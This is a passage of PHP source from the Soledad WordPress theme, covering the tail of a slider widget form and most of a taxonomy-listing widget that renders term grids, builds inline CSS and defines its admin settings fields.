                                <span><?php _e( 'milliseconds', 'soledad' ); ?></span>
                                <span class='penci-description'><?php _e( '1000 milliseconds = 1 second', 'soledad' ); ?></span>
                            </label>
                        </p>
                        <p>
                            <label for="<?php echo $this->get_field_id( 'description' ); ?>"><?php _e( 'Slider Text Description:', 'soledad' ); ?></label>
                            <select size=3 class='widefat' id="<?php echo $this->get_field_id( 'description' ); ?>"
                                    name="<?php echo $this->get_field_name( 'description' ); ?>[]" multiple="multiple">
                                <option value='username' <?php $this->selected( $instance['description'], 'username' ); ?>><?php _e( 'Username', 'soledad' ); ?></option>
                                <option value='time'<?php $this->selected( $instance['description'], 'time' ); ?>><?php _e( 'Time', 'soledad' ); ?></option>
                                <option value='caption'<?php $this->selected( $instance['description'], 'caption' ); ?>><?php _e( 'Caption', 'soledad' ); ?></option>
                            </select>
                            <span class="jr-description"><?php _e( 'Hold ctrl and click the fields you want to show/hide on your slider. Leave all unselected to hide them all. Default all selected.', 'soledad' ) ?></span>
                        </p>
                    </div>
                </div>
            </div>
			<?php
		}

		public function selected( $haystack, $current ) {

			if ( is_array( $haystack ) && in_array( $current, $haystack ) ) {
				selected( 1, 1, true );
			}
		}
	}
}
?>
PK     2w\f_l  l    widgets/taxonomy_listing.phpnu [        <?php

add_action( 'widgets_init', 'penci_taxonomy_listing_widget' );

function penci_taxonomy_listing_widget() {
	register_widget( 'penci_taxonomy_listing_widget' );
}

if ( ! class_exists( 'penci_taxonomy_listing_widget' ) ) {
	class penci_taxonomy_listing_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_taxonomy_listing_widget',
				'description' => esc_html__( 'A widget that displays the listing of the taxonomy terms.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_taxonomy_listing_widget' );

			parent::__construct( 'penci_taxonomy_listing_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Taxonomy Listing', 'soledad' ), $widget_ops, $control_ops );

		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title = isset( $instance['title'] ) && $instance['title'] ? $instance['title'] : __( 'Taxonomy Listing', 'soledad' );
			$title = apply_filters( 'widget_title', $title );

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			$settings         = $instance;
			$biggid_style     = isset( $settings['style'] ) ? $settings['style'] : 'style-1';
			$overlay_type     = isset( $settings['overlay_type'] ) ? $settings['overlay_type'] : 'whole';
			$bgcontent_pos    = isset( $settings['bgcontent_pos'] ) ? $settings['bgcontent_pos'] : 'on';
			$content_display  = isset( $settings['content_display'] ) ? $settings['content_display'] : 'block';
			$disable_lazy     = get_theme_mod( 'penci_disable_lazyload_layout' );
			$image_hover      = isset( $settings['image_hover'] ) ? $settings['image_hover'] : 'zoom-in';
			$text_overlay     = isset( $settings['text_overlay'] ) ? $settings['text_overlay'] : 'none';
			$text_overlay_ani = isset( $settings['text_overlay_ani'] ) ? $settings['text_overlay_ani'] : 'movetop';
			$onecol_mobile    = isset( $settings['onecol_mobile'] ) ? $settings['onecol_mobile'] : '';
			$sameh_mobile     = isset( $settings['sameh_mobile'] ) ? $settings['sameh_mobile'] : '';
			$thumb_size       = isset( $settings['thumb_size'] ) ? $settings['thumb_size'] : 'penci-masonry-thumb';
			$bthumb_size      = isset( $settings['bthumb_size'] ) ? $settings['bthumb_size'] : 'penci-full-thumb';
			$mthumb_size      = isset( $settings['mthumb_size'] ) ? $settings['mthumb_size'] : 'penci-masonry-thumb';
			$title_length     = isset( $settings['title_length'] ) ? $settings['title_length'] : 10;
			$excerpt_length   = isset( $settings['excerpt_length'] ) ? $settings['excerpt_length'] : 10;
			$text_overlay     = isset( $settings['text_overlay'] ) ? $settings['text_overlay'] : 'none';
			$text_overlay_ani = isset( $settings['text_overlay_ani'] ) ? $settings['text_overlay_ani'] : 'movetop';
			$image_hover      = isset( $settings['image_hover'] ) ? $settings['image_hover'] : 'zoom-in';

			$wrapper_class   = $data_class = '';
			$flag_style      = false;
			$clear_fix_class = 'penci-clearfix ';
			if ( $biggid_style == 'style-1' ) {
				$data_class .= ' penci-dflex';
			} else {
				$data_class .= ' penci-dblock';
			}

			if ( ! in_array( $biggid_style, array( 'style-1', 'style-2' ) ) ) {
				$flag_style    = true;
				$data_class    .= ' penci-fixh';
				$bgcontent_pos = 'on';
			}

			$block_id = $this->id;

			$wrapper_class .= ' ' . $block_id;

			if ( 'style-1' == $biggid_style || 'style-2' == $biggid_style ) {
				$bg_columns        = isset( $settings['bg_columns'] ) ? $settings['bg_columns'] : '3';
				$bg_columns_tablet = isset( $settings['bg_columns_tablet'] ) ? $settings['bg_columns_tablet'] : '';
				$bg_columns_mobile = isset( $settings['bg_columns_mobile'] ) ? $settings['bg_columns_mobile'] : '1';
				$wrapper_class     .= ' penci-grid-col-' . $bg_columns;
				if ( $bg_columns_tablet ) {
					$wrapper_class .= ' penci-grid-tcol-' . $bg_columns_tablet;
				}
				$wrapper_class .= ' penci-grid-mcol-' . $bg_columns_mobile;
			}

			$wrapper_class .= ' penci-bgrid-based-custom penci-bgrid-custom penci-bgrid-content-' . $bgcontent_pos . ' pencibg-imageh-' . $image_hover . ' pencibg-texth-' . $text_overlay . ' pencibg-textani-' . $text_overlay_ani;
			if ( $flag_style && $onecol_mobile ) {
				$wrapper_class .= ' penci-bgrid-monecol';
			}
			if ( $flag_style && $sameh_mobile ) {
				$wrapper_class .= ' penci-bgrid-msameh';
			}

			if ( isset( $settings['title_anivisi'] ) && $settings['title_anivisi'] ) {
				$wrapper_class .= ' pcbg-titles-visible';
			}

			if ( isset( $settings['apply_spe_bg_title'] ) && $settings['apply_spe_bg_title'] ) {
				$wrapper_class .= ' pcbg-mask-title';
			}

			if ( isset( $settings['apply_spe_bg_meta'] ) && $settings['apply_spe_bg_meta'] ) {
				$wrapper_class .= ' pcbg-mask-meta';
			}

			if ( in_array( $text_overlay_ani, array( 'movetop', 'movebottom', 'moveleft', 'moveright' ) ) ) {
				$wrapper_class .= ' textop';
			} else {
				$wrapper_class .= ' notextop';
			}

			if ( isset( $settings['hide_subtitle_mobile'] ) && $settings['hide_subtitle_mobile'] ) {
				$wrapper_class .= ' hide-msubtitle';
			}
			if ( isset( $settings['hide_readmore_mobile'] ) && $settings['hide_readmore_mobile'] ) {
				$wrapper_class .= ' hide-mreadmorebt';
			}
			if ( isset( $settings['ver_border'] ) && $settings['ver_border'] && 'style-1' == $biggid_style ) {
				$wrapper_class .= ' pcbg-verbd';
			}

			if ( empty( $settings['taxonomies'] ) ) {
				if ( current_user_can( 'manage_options' ) ) {
					echo '<p>' . __( 'Please select the taxonomy term in the widget settings.', 'soledad' ) . '</p>';
				}

				return;
			}


			$ars_terms = array(
				'taxonomy'     => isset( $settings['taxonomies'] ) ? $settings['taxonomies'] : '',
				'hide_empty'   => isset( $settings['hide_empty'] ) && $settings['hide_empty'] ? true : false,
				'orderby'      => isset( $settings['orderby'] ) && $settings['orderby'] ? $settings['orderby'] : 'name',
				'order'        => isset( $settings['order'] ) && $settings['order'] ? $settings['order'] : 'ASC',
				'hierarchical' => isset( $settings['hierarchical'] ) && $settings['hierarchical'] ? true : false,
				'number'       => 6,
			);

			$settings['term_name'] = $settings['taxonomies'];

			if ( isset ( $settings['taxonomies_ex'] ) && $settings['taxonomies_ex'] ) {
				$ars_terms['exclude'] = explode( ',', $settings['taxonomies_ex'] );
			}

			if ( isset ( $settings['number'] ) && $settings['number'] ) {
				$ars_terms['number'] = $settings['number'];
			}
			$big_items = penci_big_grid_is_big_items( $biggid_style );
			?>
            <div class="penci-clearfix penci-biggrid-terms-wrapper penci-biggrid-wrapper<?php echo $wrapper_class; ?>">

                <div class="penci-clearfix penci-biggrid penci-bg<?php echo $biggid_style; ?> penci-bgel">
                    <div class="penci-biggrid-inner default">
						<?php
						$bg = 1;

						$biggrid_items      = get_terms( $ars_terms );
						$num_posts          = count( $biggrid_items );
						$post_meta          = isset( $settings['bg_postmeta'] ) && $settings['bg_postmeta'] ? $settings['bg_postmeta'] : [];
						$hide_meta_small    = isset( $settings['hide_meta_small'] ) ? $settings['hide_meta_small'] : '';
						$hide_excerpt_small = isset( $settings['hide_excerpt_small'] ) ? $settings['hide_excerpt_small'] : '';
						$show_readmore      = isset( $settings['show_readmore'] ) ? $settings['show_readmore'] : '';
						if ( ! empty( $biggrid_items ) ) {
							echo '<div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
							foreach ( $biggrid_items as $setting ) {
								$is_big_item         = '';
								$hide_cat_small_flag = $hide_meta_small_flag = $hide_rm_small_flag = $hide_excerpt_small_flag = false;
								$surplus             = penci_big_grid_count_classes( $bg, $biggid_style, true );
								$thumbnail           = $thumb_size;
								$post_count          = $setting->count;
								if ( ! empty( $big_items ) && in_array( $surplus, $big_items ) ) {
									$thumbnail   = $bthumb_size;
									$is_big_item = ' pcbg-big-item';
								}
								if ( penci_is_mobile() ) {
									$thumbnail = $mthumb_size;
								}

								if ( ! $is_big_item ) {
									if ( 'yes' == $hide_meta_small ) {
										$hide_meta_small_flag = true;
									}
									if ( 'yes' == $hide_excerpt_small ) {
										$hide_excerpt_small_flag = true;
									}
								}

								$image_url = get_default_term_thumb_url( $setting->term_id, $thumbnail );

								/* Get Custom Items Data */
								$item_id     = ' elementor-repeater-item-' . $setting->term_id;
								$image_ratio = penci_get_ratio_size_based_url( $image_url );

								$title      = $setting->name;
								$title_link = get_term_link( $setting->term_id );
								$title_attr = '';

								$desc = $setting->description;

								include dirname( __FILE__ ) . "/category.php";

								if ( $flag_style && $surplus == 0 && $bg < $num_posts ) {
									echo '</div><div class="penci-clearfix penci-biggrid-data' . $data_class . '">';
								}

								$bg ++;
							}
							echo '</div>';


						}
						?>
                    </div>
                </div>
            </div>
			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );

			$css = '';

			$css_rules = [
				'bg_gap'              => array(
					'{{WRAPPER}} .penci-bgstyle-1 .penci-dflex'                                              => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2); width: calc(100% + {{SIZE}}px);',
					'{{WRAPPER}} .penci-bgstyle-2 .item-masonry, {{WRAPPER}} .penci-bgstyle-1 .penci-bgitem' => 'padding-left: calc({{SIZE}}px/2); padding-right: calc({{SIZE}}px/2); margin-bottom: {{SIZE}}px',
					'{{WRAPPER}} .penci-bgstyle-2 .penci-biggrid-data'                                       => 'margin-left: calc(-{{SIZE}}px/2); margin-right: calc(-{{SIZE}}px/2);',
				),
				'bg_othergap'         => array(
					'{{WRAPPER}} .penci-biggrid' => '--pcgap: {{SIZE}}px;',
				),
				'penci_img_ratio'     => array(
					'{{WRAPPER}} .penci-bgitem .penci-image-holder:before' => 'padding-top: {{SIZE}}%;',
				),
				'imgradius'           => array(
					'{{WRAPPER}} .pcbg-thumb, {{WRAPPER}} .pcbg-bgoverlay, {{WRAPPER}} .penci-image-holder' => 'border-radius: {{SIZE}}px; -webkit-border-radius: {{SIZE}}px;',
				),
				'bg_height'           => array(
					'{{WRAPPER}} .penci-biggrid .penci-fixh' => '--bgh: {{SIZE}}px;',
				),
				'title_fsize'         => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a,{{WRAPPER}} .pcbg-content-inner .pcbg-title' => 'font-size: {{SIZE}}px;' ),
				'bgtitle_color'       => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a,{{WRAPPER}} .pcbg-content-inner .pcbg-title' => 'color: {{VALUE}};' ),
				'bgtitle_color_hover' => array( '{{WRAPPER}} .penci-bgmain:hover .pcbg-content-inner .pcbg-title a' => 'color: {{VALUE}};' ),
				'meta_fsize'          => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta, {{WRAPPER}} .pcbg-content-inner .pcbg-meta span' => 'font-size: {{SIZE}}px;',
				),
				'bgdesc_color'        => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta'      => 'color: {{VALUE}};',
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span' => 'color: {{VALUE}};',
				),
				'bgdesc_link_color'   => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a'      => 'color: {{VALUE}};',
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a' => 'color: {{VALUE}};',
				),
				'bgdesc_link_hcolor'  => array(
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a:hover'      => 'color: {{VALUE}};',
					'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a:hover' => 'color: {{VALUE}};',
				),
				'desc_fsize'          => array(
					'{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p' => 'font-size: {{SIZE}}px;',
				),
				'excerpt_tcolor'      => array(
					'{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};',
				)
			];

			foreach ( $css_rules as $op => $selectors ) {

				if ( isset( $instance[ $op ] ) && $instance[ $op ] ) {
					$value = $instance[ $op ];
					foreach ( $selectors as $selector => $prop ) {
						$selector = str_replace( '{{WRAPPER}}', '.' . $this->id, $selector );
						$prop     = str_replace( '{{SIZE}}', $value, $prop );
						$prop     = str_replace( '{{VALUE}}', $value, $prop );
						$css      .= $selector . '{ ' . $prop . ' }';
					}
				}

			}

			if ( $css ) {
				echo '<style id="' . $this->id . '-css">' . $css . '</style>';
			}
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'                       => esc_html__( 'Taxonomy Listing', 'soledad' ),
				'taxonomies'                  => '',
				'taxonomies_ex'               => '',
				'orderby'                     => 'name',
				'order'                       => 'ASC',
				'number'                      => 6,
				'hide_empty'                  => '',
				'hierarchical'                => '',
				'style'                       => '',
				'bg_columns'                  => '',
				'bg_columns_tablet'           => '',
				'bg_columns_mobile'           => '',
				'bg_postmeta'                 => [],
				'hide_meta_small'             => '',
				'hide_excerpt_small'          => '',
				'hide_subtitle_mobile'        => '',
				'show_readmore'               => '',
				'hide_readmore_mobile'        => '',
				'onecol_mobile'               => '',
				'sameh_mobile'                => '',
				'title_length'                => '',
				'bgcontent_pos'               => 'on',
				'bg_gap'                      => '',
				'bg_othergap'                 => '',
				'penci_img_ratio'             => '',
				'imgradius'                   => '',
				'bg_height'                   => '',
				'content_horizontal_position' => '',
				'content_vertical_position'   => '',
				'content_text_align'          => '',
				'bgtitle_color'               => '',
				'bgtitle_color_hover'         => '',
				'bgdesc_color'                => '',
				'bgdesc_link_color'           => '',
				'bgdesc_link_hcolor'          => '',
				'excerpt_tcolor'              => '',
				'text_overlay'                => 'none',
				'text_overlay_ani'            => 'movetop',
				'image_hover'                 => 'zoom-in',
				'title_fsize'                 => '',
				'meta_fsize'                  => '',
				'desc_fsize'                  => '',
			);
		}

		function prs_select_field( $options, $current ) {
			foreach ( $options as $name => $label ) {
				echo '<option ' . selected( $name, $current ) . ' value="' . esc_attr( $name ) . '">' . esc_html( $label ) . '</option>';
			}
		}

		function color_field( $id, $label, $instance ) {
			?>
            <p>
                <label for="<?php echo $this->get_field_id( $id ); ?>"
                       style="display:block;"><?php echo $label; ?></label>
                <input class="widefat pcwoo-color-picker color-picker"
                       id="<?php echo $this->get_field_id( $id ); ?>"
                       name="<?php echo $this->get_field_name( $id ); ?>" type="text"
                       value="<?php echo $instance[ $id ]; ?>"/>
            </p>
			<?php
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults                    = $this->soledad_widget_defaults();
			$instance                    = wp_parse_args( (array) $instance, $defaults );
			$title                       = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$taxonomies                  = isset( $instance['taxonomies'] ) ? $instance['taxonomies'] : '';
			$orderby                     = isset( $instance['orderby'] ) ? $instance['orderby'] : '';
			$order                       = isset( $instance['order'] ) ? $instance['order'] : '';
			$style                       = isset( $instance['style'] ) ? $instance['style'] : '';
			$bg_columns                  = isset( $instance['bg_columns'] ) ? $instance['bg_columns'] : '';
			$bg_columns_tablet           = isset( $instance['bg_columns_tablet'] ) ? $instance['bg_columns_tablet'] : '';
			$bg_columns_mobile           = isset( $instance['bg_columns_mobile'] ) ? $instance['bg_columns_mobile'] : '';
			$bg_postmeta                 = isset( $instance['bg_postmeta'] ) ? (array) $instance['bg_postmeta'] : [];
			$bgcontent_pos               = isset( $instance['bgcontent_pos'] ) ? $instance['bgcontent_pos'] : 'on';
			$content_horizontal_position = isset( $instance['content_horizontal_position'] ) ? $instance['content_horizontal_position'] : '';
			$content_vertical_position   = isset( $instance['content_vertical_position'] ) ? $instance['content_vertical_position'] : '';
			$content_text_align          = isset( $instance['content_text_align'] ) ? $instance['content_text_align'] : '';
			$text_overlay                = isset( $instance['text_overlay'] ) ? $instance['text_overlay'] : 'none';
			$text_overlay_ani            = isset( $instance['text_overlay_ani'] ) ? $instance['text_overlay_ani'] : 'movetop';
			$image_hover                 = isset( $instance['image_hover'] ) ? $instance['image_hover'] : 'zoom-in';

			$post_taxonomies = get_object_taxonomies( 'post' );
			$post_tax        = [];
			$post_tax['']    = 'Select';
			foreach ( $post_taxonomies as $tname ) {
				$labels             = get_taxonomy( $tname );
				$post_tax[ $tname ] = $labels->label;
			}

			foreach ( penci_get_published_posttypes() as $type ) {

				$type_data = get_object_taxonomies( $type );
				if ( is_array( $type_data ) ) {
					foreach ( $type_data as $type_name ) {
						$labels                 = get_taxonomy( $type_name );
						$post_tax[ $type_name ] = $labels->label;
					}
				}
			}

			$post_order_by = [
				'name'       => 'Name',
				'slug'       => 'Slug',
				'term_id'    => 'ID',
				'term_order' => 'Term Order',
				'count'      => 'Posts Count',
			];

			$post_order = [
				'ASC'  => 'ASC',
				'DESC' => 'DESC',
			];

			$post_style = array(
				'style-1'  => esc_html__( 'Grid ( Default )', 'soledad' ),
				'style-2'  => esc_html__( 'Masonry', 'soledad' ),
				'style-3'  => esc_html__( 'Style 3', 'soledad' ),
				'style-4'  => esc_html__( 'Style 4', 'soledad' ),
				'style-5'  => esc_html__( 'Style 5', 'soledad' ),
				'style-6'  => esc_html__( 'Style 6', 'soledad' ),
				'style-7'  => esc_html__( 'Style 7', 'soledad' ),
				'style-8'  => esc_html__( 'Style 8', 'soledad' ),
				'style-9'  => esc_html__( 'Style 9', 'soledad' ),
				'style-10' => esc_html__( 'Style 10', 'soledad' ),
				'style-11' => esc_html__( 'Style 11', 'soledad' ),
				'style-12' => esc_html__( 'Style 12', 'soledad' ),
				'style-13' => esc_html__( 'Style 13', 'soledad' ),
				'style-14' => esc_html__( 'Style 14', 'soledad' ),
				'style-15' => esc_html__( 'Style 15', 'soledad' ),
				'style-16' => esc_html__( 'Style 16', 'soledad' ),
				'style-17' => esc_html__( 'Style 17', 'soledad' ),
				'style-18' => esc_html__( 'Style 18', 'soledad' ),
				'style-19' => esc_html__( 'Style 19', 'soledad' ),
				'style-20' => esc_html__( 'Style 20', 'soledad' ),
				'style-21' => esc_html__( 'Style 21', 'soledad' ),
				'style-22' => esc_html__( 'Style 22', 'soledad' ),
			);
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomies' ) ); ?>"><?php esc_html_e( 'Taxonomies', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'taxonomies' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'taxonomies' ) ); ?>">
					<?php foreach ( $post_tax as $name => $label ) {
						echo '<option ' . selected( $name, $taxonomies ) . ' value="' . esc_attr( $name ) . '">' . esc_html( $label ) . '</option>';
					} ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'taxonomies_ex' ) ); ?>"><?php esc_html_e( 'Excluded Taxonomies Terms IDs:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'taxonomies_ex' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'taxonomies_ex' ) ); ?>"
                       value="<?php echo sanitize_text_field( $instance['taxonomies_ex'] ); ?>"/>
            <p><?php _e( 'Enter the list of term IDs you need to exclude, separated by commas.', 'soledad' ); ?></p>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"><?php esc_html_e( 'Order By', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>">
					<?php foreach ( $post_order_by as $name => $label ) {
						echo '<option ' . selected( $name, $orderby ) . ' value="' . esc_attr( $name ) . '">' . esc_html( $label ) . '</option>';
					} ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Order', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>">
					<?php $this->prs_select_field( $post_order, $order ); ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Limit Terms to Show:', 'soledad' ); ?></label>
                <input type="number" style="width: 65px; display: inline-block;"
                       id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"><?php esc_html_e( 'Hide Empty Items:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_empty' ) ); ?>" <?php checked( (bool) $instance['hide_empty'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hierarchical' ) ); ?>"><?php esc_html_e( 'Hierarchical:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hierarchical' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hierarchical' ) ); ?>" <?php checked( (bool) $instance['hierarchical'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"><?php esc_html_e( 'Display Style', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>">
					<?php $this->prs_select_field( $post_style, $style ); ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_columns' ) ); ?>"><?php esc_html_e( 'Grid/Masonry Style Columns', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'bg_columns' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bg_columns' ) ); ?>">
					<?php
					$post_col = array(
						'1' => esc_html__( '1 Column', 'soledad' ),
						'2' => esc_html__( '2 Columns', 'soledad' ),
						'3' => esc_html__( '3 Columns', 'soledad' ),
						'4' => esc_html__( '4 Columns', 'soledad' ),
						'5' => esc_html__( '5 Columns', 'soledad' ),
						'6' => esc_html__( '6 Columns', 'soledad' )
					);
					$this->prs_select_field( $post_col, $bg_columns );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_columns_tablet' ) ); ?>"><?php esc_html_e( 'Grid/Masonry Style Columns on Tablet', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'bg_columns_tablet' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bg_columns_tablet' ) ); ?>">
					<?php
					$post_col_m = array(
						''  => esc_html__( 'Default', 'soledad' ),
						'1' => esc_html__( '1 Column', 'soledad' ),
						'2' => esc_html__( '2 Columns', 'soledad' ),
						'3' => esc_html__( '3 Columns', 'soledad' ),
						'4' => esc_html__( '4 Columns', 'soledad' ),
					);
					$this->prs_select_field( $post_col_m, $bg_columns_tablet );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_columns_mobile' ) ); ?>"><?php esc_html_e( 'Grid/Masonry Style Columns on Mobile', 'soledad' ) ?></label>
                <select style="width:100%;" id="<?php echo esc_attr( $this->get_field_id( 'bg_columns_mobile' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bg_columns_mobile' ) ); ?>">
					<?php
					$post_col_mb = array(
						'1' => esc_html__( '1 Column', 'soledad' ),
						'2' => esc_html__( '2 Columns', 'soledad' ),
						'3' => esc_html__( '3 Columns', 'soledad' ),
					);
					$this->prs_select_field( $post_col_mb, $bg_columns_mobile );
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'bg_postmeta' ) ); ?>"><?php esc_html_e( 'Showing Term Data', 'soledad' ) ?></label>
                <select multiple style="width:100%;"
                        id="<?php echo esc_attr( $this->get_field_id( 'bg_postmeta' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'bg_postmeta' ) ); ?>[]">
					<?php
					$post_meta = array(
						'name'  => esc_html__( 'Name', 'soledad' ),
						'desc'  => esc_html__( 'Description', 'soledad' ),
						'count' => esc_html__( 'Posts Count', 'soledad' ),
					);
					foreach ( $post_meta as $name => $label ) {
						$selected = in_array( $name, $bg_postmeta ) ? 'selected' : '';
						echo '<option ' . $selected . ' value="' . esc_attr( $name ) . '">' . esc_html( $label ) . '</option>';
					} ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_meta_small' ) ); ?>"><?php esc_html_e( 'Hide Term Meta on Small Grid Items:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_meta_small' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_meta_small' ) ); ?>" <?php checked( (bool) $instance['hide_meta_small'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_excerpt_small' ) ); ?>"><?php esc_html_e( 'Hide Only Post Excerpt on Small Grid Items:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_excerpt_small' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_excerpt_small' ) ); ?>" <?php checked( (bool) $instance['hide_excerpt_small'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_subtitle_mobile' ) ); ?>"><?php esc_html_e( 'Hide Terms Description on Mobiles:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_subtitle_mobile' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_subtitle_mobile' ) ); ?>" <?php checked( (bool) $instance['hide_subtitle_mobile'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_readmore' ) ); ?>"><?php esc_html_e( 'Show View All Posts Button:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_readmore' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_readmore' ) ); ?>" <?php checked( (bool) $instance['show_readmore'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_readmore_mobile' ) ); ?>"><?php esc_html_e( 'Hide View All Posts on Mobile:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_readmore_mobile' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_readmore_mobile' ) ); ?>" <?php checked( (bool) $instance['hide_readmore_mobile'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'onecol_mobile' ) ); ?>"><?php esc_html_e( 'Display One Column on Mobile?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'onecol_mobile' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'onecol_mobile' ) ); ?>" <?php checked( (bool) $instance['onecol_mobile'], true ); ?> /><br/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sameh_mobile' ) ); ?>"><?php esc_html_e( 'Display Grid Items Same Height on Mobile?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sameh_mobile' ) ); ?>"
